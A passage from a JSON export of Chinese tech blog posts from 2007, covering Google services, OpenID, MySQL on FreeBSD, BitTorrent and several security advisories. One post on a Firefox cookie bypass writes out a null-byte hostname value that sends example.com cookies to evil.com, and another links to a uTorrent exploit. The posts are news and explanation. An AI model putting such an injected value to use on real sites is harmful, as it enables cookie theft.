    "body": "<a href=\"http://flickr.com/photos/gslin/383470093/\"><img src=\"http://farm1.static.flickr.com/31/383470093_0a0fa5d98b.jpg\" alt=\"\" /></a>\r\n\r\n舉例子就好，在電視、廣播、報紙上會看到記者們說「因為觀眾 (聽眾/讀者) 有知的權利，所以你們應該要告訴社會大眾，blah blah blah」，但我們都知道這是記者用知的權利掩飾後面 blah blah blah 的不當行為。\r\n\r\n另外一個例子是智邦網摘 Spam 的時候，ROACH 把 Spam 行為解釋成「為了得知網友的反應」：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/383477840/\"><img src=\"http://farm1.static.flickr.com/128/383477840_a179217eb0.jpg\" alt=\"\" /></a>\r\n\r\n而這次的事情呢？hmmm...",
    "title": "Spam Spam Spam"
  },
  {
    "id": "1085",
    "body": "英國打算對販賣個人資料的人加重處罰，本來的最重處罰是罰款 5000 英鎊，而這次打算加重到關兩年：<a href=\"http://slashdot.org/it/07/02/07/1541254.shtml\">Jail for Selling Email Lists to Spammers</a>。\r\n\r\n重點是，E-mail Address 也屬於個人資料，所以販賣 Spam 軟體順便賣 E-mail Address 名單的人也算在內。現在訂這個法律，要等到通過，然後第一次用新法判刑，又要再等一兩年了...",
    "title": "對個人資料的保護"
  },
  {
    "id": "1086",
    "body": "<a href=\"http://www.google.com/a/\" rel=\"tag\">Google Apps</a> 將對公司及企業收費：<a href=\"http://slashdot.org/it/07/02/07/2316201.shtml\">Google Apps to Become Paid Service</a>。\r\n\r\n照文章裡的報導，<a href=\"http://www.disney.com/\" rel=\"tag\">Disney</a> 與 <a href=\"http://www.pixar.com/\" rel=\"tag\">Pixar</a> 考慮把 Microsoft Office 換掉，改用 Google Apps？如果是像 <a href=\"http://www.google.com/enterprise/mini/\" rel=\"tag\">Google Mini</a> 這種 Box 我還可以想像，但我實在沒辦法想像 <a href=\"http://www.disney.com/\" rel=\"tag\">Disney</a> 與 <a href=\"http://www.pixar.com/\" rel=\"tag\">Pixar</a> 把公司內的資料 (即使只是非機密文件) 丟到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 Storage 裡面？It's crazy @_@",
    "title": "Google Apps 將對企業收費"
  },
  {
    "id": "1087",
    "body": "在 <a href=\"http://googlesystem.blogspot.com/\" rel=\"tag\">Google Operating System</a> 看到某些地區的 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 不再需要邀請函就能註冊了：<a href=\"http://googlesystem.blogspot.com/2007/02/anyone-can-signup-for-gmail-account.html\">More People Can Sign up for a Gmail Account</a>。\r\n<blockquote>Gmail is now a public beta in <strong>Europe, the Middle East and Africa, Brazil, Australia, Russia and Japan</strong>, according to BBC. If you live in one of those places, you can go to Gmail.com, and look for \"Sign up for Gmail\" or you can visit this page to create an account.</blockquote>\r\n包括了歐洲、中東、非洲、巴西、澳洲、俄羅斯、日本。",
    "title": "某些地區的 Gmail 不再需要邀請函"
  },
  {
    "id": "1088",
    "body": "我第一眼看到這篇文章的時候第一個想到的是「這不是蘋果日報的圖嗎？」XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/726264\"><img src=\"http://static.zooomr.com/images/726264_93d66934cc_o.jpg\" alt=\"\" /></a>\r\n\r\nVia：<a href=\"http://www.calacanis.com/2007/02/11/wsj-story-on-buzz-features-a-bunch-of-netscape-navigators/\">WSJ story on buzz features a bunch of Netscape Navigators!</a>",
    "title": "插圖"
  },
  {
    "id": "1089",
    "body": "兩個安全漏洞：\r\n<ul>\r\n\t<li><a href=\"http://www.sun.com/software/solaris/\" rel=\"tag\">Sun Solaris</a> 10 與 11 的 Telnet 有安全漏洞，可以讓外面的人直接拿到 root：<a href=\"http://slashdot.org/it/07/02/12/1118248.shtml\">Solaris Telnet 0-day vulnerability</a>。</li>\r\n\t<li><a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 1.6 安全漏洞，看 source code 是從 torrent 檔下手：<a href=\"http://www.milw0rm.com/exploits/3296\">This is a PoC remote exploit for uTorrent 1.6</a>，這幾天應該就會有新版了。</li>\r\n</ul>",
    "title": "幾個安全漏洞..."
  },
  {
    "id": "1090",
    "body": "趨勢防毒軟體的安全漏洞：<a href=\"http://taosecurity.blogspot.com/2007/02/another-anti-virus-problem.html\">Another Anti-Virus Problem</a>，趨勢官方的安全通告在這裡：<a href=\"http://esupport.trendmicro.com/support/viewxml.do?ContentID=EN-1034289\">Antivirus UPX Parsing Kernel Buffer Overflow Vulnerability</a>，因為 UPX buffer overflow 而產生的安全問題。\r\n\r\n剛剛查 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的資料才知道 <a href=\"http://en.wikipedia.org/wiki/Trend_Micro\" rel=\"tag\">Trend Micro</a> 總部設在日本...",
    "title": "趨勢防毒軟體的安全漏洞"
  },
  {
    "id": "1091",
    "body": "<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 1.6.1 版出爐，又再次說明只有 full disclosure 才能促使商業公司注意軟體安全。\r\n\r\nAnyway，這次除了安全性更新外，還改善 (以及修正) 了許多 WebUI 的東西，完整的內容請參考 <a href=\"http://download.utorrent.com/1.6.1/utorrent-1.6.1.txt\" rel=\"tag\">Changelog</a>。",
    "title": "µTorrent 1.6.1"
  },
  {
    "id": "1092",
    "body": "在 <a href=\"http://mozillalinks.org/wp/\" rel=\"tag\">mozilla links</a> 上看到 Firefox 2.0.0.1 因為對 DOM 的處理不當造成 Cookie 外漏以及其他的安全漏洞：<a href=\"http://mozillalinks.org/wp/2007/02/new-firefox-cookie-vulnerability-workaround/\">New Firefox cookie vulnerability, workaround</a>，Bug Report 在 <a href=\"http://bugzilla.mozilla.org/\" rel=\"tag\">Bugzilla@Mozilla</a> 的 <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=370445\">Zalewski cookie setting / same-domain bypass vulnerability</a>。\r\n\r\n按照 Bug Report 上的說明，問題在於 location.hostname 這個變數上。惡意的站台可以故意將 location.hostname 設為 'evil.com\\x00foo.example.com'，於是真正在連 hostname 時會因為 C-style string 而只判讀到 evil.com (於是會連到 evil.com)，但 Browser 認為這是 *.example.com，於是把符合 example.com 的 cookie 送出去。另外在 XMLHttpRequest 的處理上也會喪失 <a href=\"http://en.wikipedia.org/wiki/Same_origin_policy\" rel=\"tag\">Same origin policy</a>，其實這個問題還蠻大的...\r\n\r\n在 mozilla links 上提供一個暫時性的解法，基本原理是禁止網站修改 location.hostname，方法是在 about:config 裡加入 String，設定 capability.policy.default.Location.hostname.set = \"noAccess\" 後重新啟動 Firefox。",
    "title": "Firefox 2.0.0.1 安全漏洞"
  },
  {
    "id": "1093",
    "body": "<a href=\"http://www.flickr.com/photos/25419820@N00/384109300/\"><img src=\"http://farm1.static.flickr.com/140/384109300_448d05b5d5.jpg\" alt=\"\" /></a>\r\n\r\n剛剛 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 與 <a href=\"http://www.aim.com/\" rel=\"tag\">AIM</a> 的使用者都可以使用 <a href=\"https://openid.aol.com/\">AOL 的 OpenID server</a>：<a href=\"http://journals.aol.com/panzerjohn/abstractioneer/entries/2007/02/15/aol-and-openid-where-we-are/1406\">AOL and OpenID: Where we are</a>。",
    "title": "AOL 支援 OpenID"
  },
  {
    "id": "1094",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://code.google.com/soc/\" rel=\"tag\">Google Summer of Code</a> 2007 開放報名了，如同往年，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 讓許多 Open Source Community 提出 project，由 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 買單：<a href=\"http://slashdot.org/developers/07/02/16/0419246.shtml\">Google Launches Summer of Code 2007</a>。",
    "title": "Google Summer of Code 2007"
  },
  {
    "id": "1096",
    "body": "在 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的 Blog 上看到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 上可以用 <a href=\"http://www.latex-project.org/\" rel=\"tag\">LaTeX</a> 數學式了：<a href=\"http://wordpress.com/blog/2007/02/17/math-for-the-masses/\">Math for the Masses</a>。\r\n\r\n用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一下發現有人寫出來了：<a href=\"http://www.sixthform.info/steve/wordpress/\">Using LaTeX in WordPress</a>，雖然我自己用不到，不過對於拿 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 來放數學題目的人倒是蠻有用，像是這個：<a href=\"http://hsinjungwu.wordpress.com/2007/02/08/93%e5%ad%b8%e5%b9%b4%e5%ba%a6%e6%b8%85%e8%8f%af%e5%a4%a7%e5%ad%b8%e6%95%b8%e5%ad%b8%e7%b3%bb%e6%87%89%e6%95%b8%e7%b5%84%e7%a2%a9%e5%a3%ab%e7%8f%ad%e8%80%83%e8%a9%a6%e9%ab%98%e7%ad%89%e5%be%ae%e7%a9%8d/\">93學年度清華大學數學系應數組碩士班考試高等微積分第五題</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/pi301415/383383808/\"><img src=\"http://farm1.static.flickr.com/174/383383808_92d357a97b.jpg\" alt=\"\" /></a>",
    "title": "在 WordPress.com 上用 LaTeX 數學式"
  },
  {
    "id": "1097",
    "body": "這幾天在寫 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 的 server (以<a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>裡的三套郵件系統為認證基礎：<a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2</a>、<a href=\"http://faculty.nctu.edu.tw/\" rel=\"tag\">Faculty</a>、<a href=\"http://mail.nctu.edu.tw/\" rel=\"tag\">Mail</a>)，讀 <a href=\"http://openid.net/specs/openid-authentication-1_1.html\">OpenID Authentication 1.1</a> 規格書發現 spec 寫的好與壞對於規格的推動有很大的差異 -_-\r\n\r\n<a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 的規格書是屬於超難懂的那種，第一個原因是裡面用了不少關於密碼學的理論或是實做 (<a href=\"http://en.wikipedia.org/wiki/HMAC\" rel=\"tag\">HMAC</a>、<a href=\"http://en.wikipedia.org/wiki/SHA-1\" rel=\"tag\">SHA-1</a>、<a href=\"http://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange\" rel=\"tag\">Diffie-Hellman key exchange</a>)，第二個原因是很多細節的地方缺乏具體的定義，如果不直接看其他人已經寫出來的 source code，讀起來很辛苦... @_@\r\n\r\n不管怎麼樣，希望這幾天寫一寫，到時候就可以利用 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 跑很多東西...",
    "title": "OpenID"
  },
  {
    "id": "1098",
    "body": "<a href=\"http://flickr.com/photos/gslin/396570303/\"><img src=\"http://farm1.static.flickr.com/125/396570303_30453a3978_o.jpg\" alt=\"\" /></a>\r\n\r\nVia：<a href=\"http://torrentfreak.com/the-first-bittorrent/\">The First BitTorrent</a>。",
    "title": "The First Bittorrent"
  },
  {
    "id": "1099",
    "body": "之前在 <a href=\"http://blog.gslin.org/archives/2007/01/25/1040/\">FreeBSD 的 ULE 2.0</a> 提到要拿 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 測試 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 ULE 2.0，初步的測試結果出爐了：<a href=\"http://jeffr-tech.livejournal.com/5705.html\">Benchmarking with sysbench.</a>\r\n\r\n綠色的是 FreeBSD 7-current CVS 版本，而紅色的是 Fedora Core 6 (沒有說明 kernel 版本)，跑的是 MySQL 5.0.x (也沒有講真正的版本)，所以這份數據... 先看過就好，要有詳細的測試環境資訊才能決定要不要催眠色 far 把 <a href=\"http://www.pixnet.net/\" rel=\"tag\">pixnet</a> 的 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 換掉...。(對 Fedora Core 比較熟的人可以說明一下 Fedora Core 6 的 default kernel 是 2.4 還是 2.6？)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/751096\"><img src=\"http://static.zooomr.com/images/751096_39338d1b20.jpg\" alt=\"\" /></a>",
    "title": "MySQL 在 FreeBSD 與 Linux 上的效率"
  },
  {
    "id": "1100",
    "body": "2006 年 <a href=\"http://en.wikipedia.org/wiki/Turing_Award\" rel=\"tag\">Turing Award</a> 得主，<a href=\"http://en.wikipedia.org/wiki/Fran_Allen\" rel=\"tag\">Fran Allen</a>：\r\n<blockquote>For contributions that fundamentally improved the performance of computer programs in solving problems, and accelerated the use of high performance computing.</blockquote>\r\n<a href=\"http://en.wikipedia.org/wiki/Turing_Award\" rel=\"tag\">Turing Award</a> 設立以來的第一位女性得獎人。",
    "title": "2006 年 Turing Award 得主"
  },
  {
    "id": "1101",
    "body": "睡醒就看到 <a href=\"http://www.cert.org/\" rel=\"tag\">CERT</a> 的安全通告：<a href=\"http://www.kb.cert.org/vuls/id/393921\">Mozilla Firefox fails to properly handle JavaScript onUnload events</a>：\r\n<blockquote>By convincing a user to view a specially crafted HTML document (e.g., a web page or an HTML email message or attachment), an attacker may be able to execute arbitrary code with the privileges of the user.</blockquote>\r\n沒事不要亂逛網站... :o",
    "title": "Firefox 安全通告"
  },
  {
    "id": "1102",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到關於 meeting 的報導，密集的開會似乎是某些公司 (以及學校？XD) 的常態現象... XD：<a href=\"http://slashdot.org/science/07/02/23/1757227.shtml\">Meetings Make You Dumber</a>。",
    "title": "Meeting"
  },
  {
    "id": "1103",
    "body": "<a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 上的大整數運算有幾組 library 可以用：\r\n<ul>\r\n\t<li><a href=\"http://www.swox.com/gmp/\" rel=\"tag\">GNU MP</a> 提供與數學運算有關的 functions，不只是大整數運算，還包括了有理數與實數的運算。</li>\r\n\t<li><a href=\"http://tw2.php.net/manual/en/ref.bc.php\" rel=\"tag\">BC math</a>，直接對「字串」運算，只有支援整數的部份。</li>\r\n</ul>\r\n不過這兩個 Library 在一般的 Shared Hosting 上通常都不會裝，這使得在 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 裡沒有辦法做大數運算。於是就有人把腦筋動到 <a href=\"http://www.openssl.org/\" rel=\"tag\">OpenSSL</a> 也有提供大整數運算的頭上，像是 <a href=\"http://netevil.org/node.php?nid=949\">OpenID (and TypeKey) using native OpenSSL functions in PHP</a> 這篇提出一個 PHP5 的 patch，讓 php5-openssl 把本來就有的 functions 帶出來用，這樣對於未來 Shared Hosting 就方便很多，不用特地去找 <a href=\"http://pear.php.net/\" rel=\"tag\">PEAR</a> 的大數運算 Class 來做...",
    "title": "PHP 上的大整數運算"
  },
  {
    "id": "1104",
    "body": "前幾天提到的 <a href=\"http://blog.gslin.org/archives/2007/02/21/1099/\">MySQL 在 FreeBSD 與 Linux 上的效率</a> 有比較完整的 benchmark 以及資訊了，下面這張圖 (點進去後找大圖看比較清楚) 有 2.6.{18,19,20.1} 這三個版本的 testing，同時也確定是使用 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 5.0.33 (with MyISAM) 測試。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/760374\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/760374_5568860743.jpg\" alt=\"\" /></a>\r\n\r\n更完整的說明參考 <a href=\"http://jeffr-tech.livejournal.com/6268.html\">Exciting new data from the sysbench comp</a> 這篇。",
    "title": "FreeBSD 上跑 MySQL server 的效率問題"
  },
  {
    "id": "1105",
    "body": "十點半睡覺，三點就自己爬起來，躺回去睡，五點半又爬起來... (ouch) 腦袋還不太清醒的時候打開 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 來看看...\r\n\r\n在 <a href=\"http://torrentfreak.com/\" rel=\"tag\">TorrentFreak</a> 看到有人利用 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">libTorrent</a> 發展 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> extension，讓使用者可以在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 裡面直接透過 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">Bittorrent</a> 下載，專案的計畫叫做 <a href=\"http://code.google.com/p/bitfox/\" rel=\"tag\">bitfox</a>：<a href=\"http://torrentfreak.com/bitfox-adds-bittorrent-support-to-firefox/\" rel=\"tag\">BitFox Adds BitTorrent Support to Firefox</a>。\r\n\r\n不過目前沒看到 package 可以用，要用的人要自己用 SVN 下載，然後再自己 compile...。",
    "title": "Firefox 裡下載 Bittorrent"
  },
  {
    "id": "1106",
    "body": "在 <a href=\"http://torrentfreak.com/\" rel=\"tag\">TorrentFreak</a> 看到 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">BitTorrent.com</a> 終於要開始賣影片的消息：<a href=\"http://torrentfreak.com/bittorrentcom-launches-video-store/\">BitTorrent.com Launches Video Store</a>。\r\n\r\n這次的影片包括了從 <a href=\"http://www.warnerbros.com/\" rel=\"tag\">Warner Bros</a>、<a href=\"http://www.foxmovies.com/\" rel=\"tag\">20th Century Fox</a>、<a href=\"http://www.mtv.com/\" rel=\"tag\">MTV Networks</a>, <a href=\"http://www.paramount.com/\" rel=\"tag\">Paramount Pictures</a>、<a href=\"http://www.lionsgate.com/\" rel=\"tag\">Lions Gate</a>、<a href=\"http://www.palmpictures.com/\" rel=\"tag\">Palm Pictures</a>、<a href=\"http://www.mgm.com/\" rel=\"tag\">MGM</a> 這些製片商所發行的影片，透過 <a href=\"http://www.microsoft.com/windows/windowsmedia/drm/\" rel=\"tag\">Windows DRM</a> 的「保護」以及 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">Bittorrent</a> 的協定傳輸，不過 <a href=\"http://torrentfreak.com/\" rel=\"tag\">TorrentFreak</a> 的文章裡也說了這是沒有搞頭的，因為盜版的品質不會比較差，而且沒有 DRM 的限制...。",
    "title": "BitTorrent.com 開始販賣影片"
  },
  {
    "id": "1107",
    "body": "普渡的強者們發展出只有二十磅 (大約九公斤) 的物質分析儀器，比目前在實驗室的儀器輕了三十倍，於是很多人就很直接想到 <a href=\"http://www.startrek.com/\" rel=\"tag\">Star Trek</a> 裡的 <a href=\"http://en.wikipedia.org/wiki/Tricorder\" rel=\"tag\">Tricorder</a> (三度儀)：<a href=\"http://slashdot.org/science/07/02/27/2229216.shtml\">Purdue Unveils a Tricorder</a>。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/771695\"><img src=\"http://static.zooomr.com/images/771695_a1e1e60167_o.jpg\" alt=\"\" /></a>\r\n\r\n這台原型機看起來好像是二十年前在博物館看到的東西... XD",
    "title": "三度儀？"
  },
  {
    "id": "1108",
    "body": "在汪長輩 (笨狗？) 的 Blog 上看到 <a href=\"http://www.wifly.com.tw/\" rel=\"tag\">Wifly</a> 也提供學生帳號漫遊的服務，與一般帳號不同，每 20mins 會斷一次，拿來查資料應該還 okay...：<a href=\"http://hrwang.yichi.org/2007/03/01/165\">校園漫遊上網專案，免費使用WiFly網路</a>。\r\n\r\n哪天連 CHT 3G 網路都不能用再去試看看好了 @_@\r\n\r\nPS：說到這個突然想到，不知道有沒有人在 phishing <a href=\"http://www.wifly.com.tw/\" rel=\"tag\">Wifly</a> ... :p",
    "title": "Wifly"
  },
  {
    "id": "1109",
    "body": "在 irc 上看到的：\r\n<blockquote>11:58 &lt;@y&gt; <a href=\"http://blog.bs2.to/liny\" rel=\"tag\">http://blog.bs2.to/liny</a> hmm</blockquote>\r\n看起來剛開始寫活力十足...",
    "title": "林一平的 Blog"
  },
  {
    "id": "1110",
    "body": "這個好！XDDDD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/779065\"><img src=\"http://static.zooomr.com/images/779065_d605c3a67d.jpg\" alt=\"\" /></a>",
    "title": "HTML"
  },
  {
    "id": "1111",
    "body": "這是個老問題了，常常被提出來問，像是：<a href=\"http://forum.moztw.org/viewtopic.php?p=95645\">我下載 RAR時</a> 或是 <a href=\"http://forum.moztw.org/viewtopic.php?t=16415\">FF有時候下載檔案會判斷錯類型</a>。\r\n\r\n這是因為某些網站因為沒設定好，用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 下載 RAR 或是 torrent 檔時會要求瀏覽器把檔案內容當作 Text 而直接顯示在頁面上。但 IE 不管這套，他看到副檔名是 .rar 或是 .torrent 就去系統查是哪個應用程式要處理。\r\n\r\n以前遇到這類問題時會沒什麼好方法，一般都是開 IE 下載，但現在這個問題現在已經可以用 <a href=\"https://addons.mozilla.org/firefox/3207/\" rel=\"tag\">Force Content-Type</a> 這個延伸套件解決，我會設定成 <code>application/octet-stream</code>，讓 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 可以出現下載的視窗：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/781946\"><img src=\"http://static.zooomr.com/images/781946_31305b42b1.jpg\" alt=\"\" /></a>\r\n\r\n要注意一點，URL 路徑是以 <a href=\"http://en.wikipedia.org/wiki/Regular_expression\" rel=\"tag\">Regular Expression</a> (<a href=\"http://zh.wikipedia.org/wiki/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F\" rel=\"tag\">正規表示式</a>) 判斷，所以要注意 <code>*</code> 的意義。\r\n\r\nRAR 下載產生問題現在比較少遇到了，倒是用 Bittorrent 的時候會去一些 Torrent Hosting 的站台，像是 <a href=\"http://www.2kdown.com/\" rel=\"tag\">2kdown</a>、<a href=\"http://www.mimima.com/\" rel=\"tag\">mimima</a>，這些站看起來是同一批人 &amp; 程式，都會送 text/plain 出來，結果就是 IE Download Only... 把這些站的 fetch.php 放進去後就可以正常下載了。",
    "title": "解決 Firefox 下載 RAR/torrent 的問題"
  },
  {
    "id": "1112",
    "body": "事情大致上是這樣的：Stefan Esser 本來在 PHP Security Response Team，後來因為對於 Security Response Team 處理安全漏洞的態度不滿 (依照 <a href=\"http://www.securityfocus.com/columnists/432\">PHP Security From The Inside</a> 裡的敘述，這些人處理安全漏洞的方式常常是挖東牆補西牆，像是針對某個 exploit code 修正讓他不能用，結果只要把本來的 exploit code 改一改又可以動了)，於是他決定離開 PHP Security Response Team，舉辦一個 the Month of PHP Bugs 的活動，每天公佈一個 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 本身的 security bug (包括 PHP core、PHP extension、Zend engine)。\r\n\r\n以目前 <a href=\"http://www.php-security.org/\" rel=\"tag\">the Month of PHP Bugs</a> 丟的速度來看 (在美國三月四號剛結束)，這個月丟完可能會有接近一百個 bugs... 不過以 PHP team 的情況看起來，很有可能會擺爛等到月底再出個 4.4.7 與 5.2.2，所以自己多保重，有燒香有保佑...\r\n\r\n也許應該訂個 mailing list 看一下到底是怎麼樣好了。",
    "title": "PHP 安全漏洞"
  },
  {
    "id": "1113",
    "body": "以前都是用 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\" rel=\"tag\">portupgrade</a> 管理套件的更新，不過 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\" rel=\"tag\">portupgrade</a> 的速度不太好 (在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 mailing list 上有人說是因為 Ruby 的關係，不過我覺得應該是程式的問題...)，後來在 #bsdchat 上看到用 sh 寫的 <a href=\"http://www.freshports.org/ports-mgmt/portmaster/\" rel=\"tag\">portmaster</a>，拿來試了以後發現速度比起 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\" rel=\"tag\">portupgrade</a> 快多了，就用了一陣子，沒什麼大問題的話就可以跳槽過來...\r\n\r\n在 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\" rel=\"tag\">portupgrade</a> 有個功能在 <a href=\"http://www.freshports.org/ports-mgmt/portmaster/\" rel=\"tag\">portmaster</a> 似乎是沒有的，也就是在 compile 時設定一些參數，像是編 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 時需要 <code>WITH_XCHARSET=all</code>，所以就要找其他的套件來替代，也就是標題提到的 <a href=\"http://www.freshports.org/ports-mgmt/portconf/\" rel=\"tag\">portconf</a>，<a href=\"http://www.freshports.org/ports-mgmt/portmaster/\" rel=\"tag\">portmaster</a> + <a href=\"http://www.freshports.org/ports-mgmt/portconf/\" rel=\"tag\">portconf</a> 後更新 ports 目前暫時沒看到什麼問題，也許再跑個一陣子試看看，沒問題就把 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\" rel=\"tag\">portupgrade</a> 拿掉。",
    "title": "portupgrade、portmaster、portconf"
  },
  {
    "id": "1114",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2007/02/06/1070/\" rel=\"tag\">Lighttpd 的佔有率</a> 這邊講到 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 的佔有率是 0.6%，這是依據 <a href=\"http://survey.netcraft.com/Reports/0702/\">February 2007 - Web Server Survey</a> 這份資料算出來的結果。\r\n\r\n這個月 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 的佔有率已經到 1.2% 了：<a href=\"http://survey.netcraft.com/Reports/0703/\">March 2007 - Web Server Survey</a>，已經超越了 Zeus，而且看起來四月的報告有機會超越 \"unknown\" 這一項，成為 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 統計表上第三大 Web Server。",
    "title": "Lighttpd 的佔有率暴漲"
  },
  {
    "id": "1115",
    "body": "<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 也加入 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> IdP 的行列：<a href=\"http://wordpress.com/blog/2007/03/06/openid/\">You can now use your WordPress.com blog as an OpenID.</a>，換句話說，<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的使用者可以用他們的 Blog URL 當作 Identity 到其他網站認證...",
    "title": "WordPress.com 支援 OpenID"
  },
  {
    "id": "1116",
    "body": "在 <a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 的網站上公告：<a href=\"http://www.w3.org/2007/03/html-pressrelease\">W3C Relaunches HTML Activity</a>。\r\n\r\n我喜歡 <a href=\"http://simonwillison.net/\" rel=\"tag\">Simon Willison</a> 給的說明 XD：\r\n<blockquote>\"XHTML has proved valuable in other markets\" == XHTML on the public Web has failed. Long live HTML!</blockquote>\r\n\r\n說到這個，我就想到前幾天看到的文章「<a href=\"http://ajaxian.com/archives/browser-wars-mozilla-ie-opera-join-up-for-a-panel-discussion\">Browser Wars: Mozilla, IE, Opera join up for a panel discussion</a>」，這篇裡面有段影片，包括了 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a>、<a href=\"http://www.mozilla.org/\" rel=\"tag\">Mozilla</a>、<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 的三個人上台表述關於 Browser 的事情，其中 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的人說「我們有責任維持相容性」(其實是「我們有責任讓亂寫的網頁還是可以動」)，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的人說「別指望 <a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 那群人」(噗)，而 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 的人說「現在 <a href=\"http://wii.com/\" rel=\"tag\">Wii</a> 上面都用 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a>，所以不要小看我們」，然後拿 IE 跑 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">ACID2</a> 的結果取笑了微軟的傢伙 XD\r\n\r\n最後則是虧了 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 的人 XD",
    "title": "W3C 重新發展 HTML"
  },
  {
    "id": "1117",
    "body": "Skype Prime：<a href=\"http://share.skype.com/sites/en/2007/03/skype_prime_beta_introducing_t.html\">Skype Prime™ Beta — introducing the global expertise marketplace</a>。\r\n\r\n簡單的說就是你也可以自己建立 <a href=\"http://www.skype.com\" rel=\"tag\">Skype</a> 上的 0204 電話：你設定了價碼，別人打給你的時候扣錢，<a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 在中間抽 30% 的費用。帳務的部份當然是透過 <a href=\"https://www.paypal.com/\" rel=\"tag\">Paypal</a> 進行付款的動作 :p\r\n\r\n畫面長這樣：(官方 Blog 上的圖)\r\n\r\n<a href=\"http://flickr.com/photos/gslin/414701276/\"><img src=\"http://farm1.static.flickr.com/180/414701276_caed70d122.jpg\" alt=\"\" /></a>\r\n\r\n目前僅限於 Windows 上，3.1beta 的版本可以使用。",
    "title": "Skype 新服務：Skype Prime"
  },
  {
    "id": "1118",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到有趣的東西：<a href=\"http://www.boingboing.net/2007/03/08/bulletproof_raincoat.html\">Bullet-proof raincoat</a> XD\r\n\r\n<a href=\"http://flickr.com/photos/gslin/414735807/\"><img src=\"http://farm1.static.flickr.com/171/414735807_a1a9a6cf88.jpg\" alt=\"\" /></a>\r\n\r\n據說是 $2000 (應該是美金)，不過原始的網站已經被 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 導過去的流量弄垮了 XD\r\n\r\n<a href=\"http://flickr.com/photos/gslin/414736987/\"><img src=\"http://farm1.static.flickr.com/167/414736987_5c448c3e9c.jpg\" alt=\"\" /></a>",
    "title": "防彈雨衣"
  },
  {
    "id": "1119",
